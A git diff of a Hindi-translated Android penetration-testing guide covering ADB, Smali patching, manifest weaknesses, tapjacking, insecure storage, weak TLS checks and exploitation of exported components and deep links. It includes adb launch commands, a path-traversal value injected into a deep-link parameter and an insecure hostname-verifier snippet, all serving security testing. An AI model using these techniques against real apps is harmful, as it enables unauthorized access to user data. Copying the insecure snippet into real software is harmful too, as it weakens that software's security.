यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\
|
||||
यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (इम्यूलेटेड या भौतिक) से कनेक्ट करने की आवश्यकता है।\
|
||||
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स को पढ़ने** जैसी अन्य कार्यों को सक्षम बनाती है।
|
||||
|
||||
ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें।
|
||||
|
||||
## Smali
|
||||
|
||||
कभी-कभी **छिपी हुई जानकारी** (शायद अच्छी तरह से छिपे हुए पासवर्ड या फ्लैग) तक पहुँचने के लिए **एप्लिकेशन कोड को संशोधित करना** दिलचस्प होता है। फिर, APK को डिकंपाइल करना, कोड को संशोधित करना और इसे फिर से संकलित करना दिलचस्प हो सकता है।\
|
||||
कभी-कभी **छिपी हुई जानकारी** (शायद अच्छी तरह से ओबफस्केटेड पासवर्ड या फ्लैग) तक पहुंचने के लिए **एप्लिकेशन कोड को संशोधित करना** दिलचस्प होता है। फिर, APK को डिकंपाइल करना, कोड को संशोधित करना और इसे फिर से संकलित करना दिलचस्प हो सकता है।\
|
||||
[**इस ट्यूटोरियल में** आप **APK को डिकंपाइल करना, Smali कोड को संशोधित करना और नए कार्यक्षमता के साथ APK को फिर से संकलित करना** सीख सकते हैं](smali-changes.md)। यह **गतिशील विश्लेषण** के दौरान कई परीक्षणों के लिए एक **वैकल्पिक** के रूप में बहुत उपयोगी हो सकता है जो प्रस्तुत किए जाने वाले हैं। फिर, **इस संभावना को हमेशा ध्यान में रखें**।
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
- [Play Store में अपनी स्थिति को धोखा देना](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-आधारित गैर-रूट विशेषाधिकार पहुंच)](shizuku-privileged-api.md)
|
||||
- [Play Store में अपनी स्थिति को स्पूफ करना](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-आधारित नॉन-रूट प्रिविलेज्ड एक्सेस)](shizuku-privileged-api.md)
|
||||
- [असुरक्षित इन-ऐप अपडेट तंत्र का शोषण करना](insecure-in-app-update-rce.md)
|
||||
- **APK डाउनलोड करें**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extract APK from device:
|
||||
@ -60,11 +60,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### दिलचस्प जानकारी की तलाश
|
||||
|
||||
APK के **strings** पर नज़र डालकर आप **पासवर्ड**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** कुंजी, **एन्क्रिप्शन**, **ब्लूटूथ uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **बैकडोर** या प्रमाणीकरण बैकडोर (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल) के लिए भी देखें।
|
||||
APK के **strings** पर नज़र डालकर आप **पासवर्ड**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** कुंजी, **एन्क्रिप्शन**, **ब्लूटूथ uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **बैकडोर** या प्रमाणीकरण बैकडोर (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल्स) के लिए भी देखें।
|
||||
|
||||
**Firebase**
|
||||
|
||||
**Firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ Firebase के बारे में अधिक जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
**फायरबेस URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ FIrebase के बारे में और जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### एप्लिकेशन की मूल समझ - Manifest.xml, strings.xml
|
||||
|
||||
@ -72,19 +72,19 @@ APK के **strings** पर नज़र डालकर आप **पासव
|
||||
|
||||
**Manifest.xml** से पहचानी गई **कमजोरियाँ** में शामिल हैं:
|
||||
|
||||
- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में डिबग करने योग्य (`debuggable="true"`) के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, किसी डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने पर एक ट्यूटोरियल देखें।
|
||||
- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में डिबग करने योग्य (`debuggable="true"`) के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, एक ट्यूटोरियल देखें जिसमें डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने के बारे में बताया गया है।
|
||||
- **Backup Settings**: संवेदनशील जानकारी से निपटने वाली एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb डिबगिंग सक्षम हो।
|
||||
- **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स को निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है।
|
||||
- **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए।
|
||||
- **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत पहुंच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए।
|
||||
- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL स्कीमों के प्रबंधन के तरीके पर ध्यान देने के साथ।
|
||||
- **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जिन्हें दुरुपयोग किया जा सकता है। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए।
|
||||
- **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत डेटा तक पहुंच या संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए।
|
||||
- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान केंद्रित करते हुए।
|
||||
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं।
|
||||
|
||||
**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API कुंजी, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है।
|
||||
**strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API कुंजी, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है।
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\
|
||||
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जा सके, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\
|
||||
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
@ -95,9 +95,9 @@ tapjacking.md
|
||||
|
||||
### टास्क हाईजैकिंग
|
||||
|
||||
एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, टास्क हाईजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाईजैक कर सकता है** (इसलिए उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा है यह सोचते हुए कि वह असली का उपयोग कर रहा है**)।
|
||||
एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, टास्क हाईजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे असली एप्लिकेशन से पहले लॉन्च किया जाता है तो यह **असली एप्लिकेशन के कार्य को हाईजैक कर सकता है** (इसलिए उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा होगा यह सोचते हुए कि वह असली एप्लिकेशन का उपयोग कर रहा है**)।
|
||||
|
||||
अधिक जानकारी के लिए:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
android-task-hijacking.md
|
||||
@ -107,10 +107,10 @@ android-task-hijacking.md
|
||||
|
||||
**आंतरिक भंडारण**
|
||||
|
||||
Android में, फ़ाइलें **आंतरिक** भंडारण में **स्टोर की गई** होती हैं और इन्हें केवल **ऐप** द्वारा **एक्सेस** करने के लिए डिज़ाइन किया गया है जिसने इन्हें **बनाया** है। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **लागू** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **शेयर** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **सीमित नहीं करते**, जिसमें संभावित रूप से दुष्ट एप्लिकेशन भी शामिल हैं।
|
||||
Android में, फ़ाइलें **आंतरिक** भंडारण में **स्टोर की गई** होती हैं और केवल **ऐप** द्वारा **एक्सेस की जाने के लिए डिज़ाइन की गई हैं** जिसने उन्हें **बनाया**। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **लागू** किया गया है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **शेयर** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **सीमित नहीं करते**, जिसमें संभावित रूप से दुष्ट एप्लिकेशन भी शामिल हैं।
|
||||
|
||||
1. **स्थैतिक विश्लेषण:**
|
||||
- **सुनिश्चित करें** कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **ध्यानपूर्वक जांचा गया है**। ये मोड फ़ाइलों को **अनपेक्षित या अनधिकृत पहुंच** के लिए **खुला** कर सकते हैं।
|
||||
- **सुनिश्चित करें** कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **ध्यानपूर्वक जांचा गया है**। ये मोड फ़ाइलों को **अनपेक्षित या अनधिकृत पहुँच** के लिए **खुला** कर सकते हैं।
|
||||
2. **गतिशील विश्लेषण:**
|
||||
- **जांचें** कि ऐप द्वारा बनाई गई फ़ाइलों पर **अनुमतियाँ** सेट की गई हैं। विशेष रूप से, **जांचें** कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **पढ़ने या संशोधित करने** की अनुमति देगा।
|
||||
|
||||
@ -121,11 +121,11 @@ Android में, फ़ाइलें **आंतरिक** भंडार
|
||||
1. **पहुँच**:
|
||||
- बाहरी भंडारण पर फ़ाइलें **वैश्विक रूप से पढ़ने और लिखने योग्य** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
|
||||
2. **सुरक्षा चिंताएँ**:
|
||||
- पहुँच की आसानी को देखते हुए, **संवेदनशील जानकारी** को बाहरी भंडारण पर **स्टोर न करने** की सलाह दी जाती है।
|
||||
- पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी भंडारण पर **न रखें**।
|
||||
- बाहरी भंडारण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
|
||||
3. **बाहरी भंडारण से डेटा को संभालना**:
|
||||
- हमेशा बाहरी भंडारण से प्राप्त डेटा पर **इनपुट मान्यता** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
|
||||
- बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलों को गतिशील लोडिंग के लिए स्टोर करना दृढ़ता से हतोत्साहित किया जाता है।
|
||||
- गतिशील लोडिंग के लिए बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलें स्टोर करना दृढ़ता से हतोत्साहित किया जाता है।
|
||||
- यदि आपकी एप्लिकेशन को बाहरी भंडारण से निष्पादन योग्य फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **हस्ताक्षरित और क्रिप्टोग्राफिक रूप से सत्यापित** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
|
||||
|
||||
बाहरी भंडारण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **एक्सेस** किया जा सकता है।
|
||||
@ -142,7 +142,7 @@ Android में, फ़ाइलें **आंतरिक** भंडार
|
||||
|
||||
**सभी प्रमाणपत्र स्वीकार करें**
|
||||
|
||||
किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों से मेल न खाता हो:
|
||||
किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -153,19 +153,19 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
**Poor Key Management Processes**
|
||||
|
||||
कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय स्टोरेज में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं किया जाना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है।
|
||||
कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय स्टोरेज में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं करना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है।
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
|
||||
डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो नमक के साथ **hashes** ब्रूट-फोर्स **resistant** का उपयोग किया जाना चाहिए।
|
||||
डेवलपर्स को **deprecated algorithms** का उपयोग करके **authorisation checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, salt के साथ **hashes brute-force resistant** का उपयोग किया जाना चाहिए।
|
||||
|
||||
### Other checks
|
||||
|
||||
- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो सके।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखना चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे जांचना चाहिए कि क्या एक **emulator** का उपयोग किया जा रहा है।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखने के लिए अपने स्वयं के चेक** करने चाहिए कि मोबाइल रूटेड है या नहीं और इसके अनुसार कार्य करना चाहिए।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे यह जांचना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है।
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/ऑबफस्केटर का उपयोग किया गया था।
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा compiler/packer/obfuscator का उपयोग किया गया था।
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -326,7 +326,7 @@ You can also start an exported activity from adb:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को एक गतिविधि में `android:launchMode` के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है।
|
||||
**NOTE**: MobSF _**singleTask/singleInstance**_ के रूप में `android:launchMode` का उपयोग करने को दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि एक प्राधिकरण बायपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बायपास कैसे काम करता है और कौन सी जानकारी उजागर होती है।
|
||||
@ -342,7 +342,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर
|
||||
|
||||
[**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\
|
||||
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
|
||||
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा **निकालने** में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
|
||||
|
||||
[**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -351,7 +351,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
[**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\
|
||||
याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं।
|
||||
|
||||
सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटाता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
|
||||
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) **लौटा सकता है**। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
|
||||
[**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **ब्रॉडकास्ट रिसीवर्स का शोषण**
|
||||
@ -364,12 +364,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
### **स्कीमों / डीप लिंक का शोषण**
|
||||
|
||||
आप मैन्युअल रूप से गहरे लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
|
||||
आप मैन्युअल रूप से गहरे लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
|
||||
आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
|
||||
_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -388,7 +388,7 @@ _ध्यान दें कि आप **पैकेज नाम छोड
|
||||
|
||||
**पैरामीटर पथ में**
|
||||
|
||||
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर एक पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर एक पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप एक पथ यात्रा को मजबूर कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **Open Redirect** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है।
|
||||
|
||||
**अधिक उदाहरण**
|
||||
@ -397,7 +397,7 @@ _ध्यान दें कि आप **पैकेज नाम छोड
|
||||
|
||||
### ट्रांसपोर्ट लेयर निरीक्षण और सत्यापन विफलताएँ
|
||||
|
||||
- **Android एप्लिकेशन द्वारा प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती है**। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है।
|
||||
- **प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती** Android एप्लिकेशनों द्वारा। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है।
|
||||
- **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह कमजोरी कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनाती है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं।
|
||||
- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है।
|
||||
|
||||
@ -407,13 +407,13 @@ _ध्यान दें कि आप **पैकेज नाम छोड
|
||||
|
||||
#### SSL पिनिंग
|
||||
|
||||
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर ही संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
|
||||
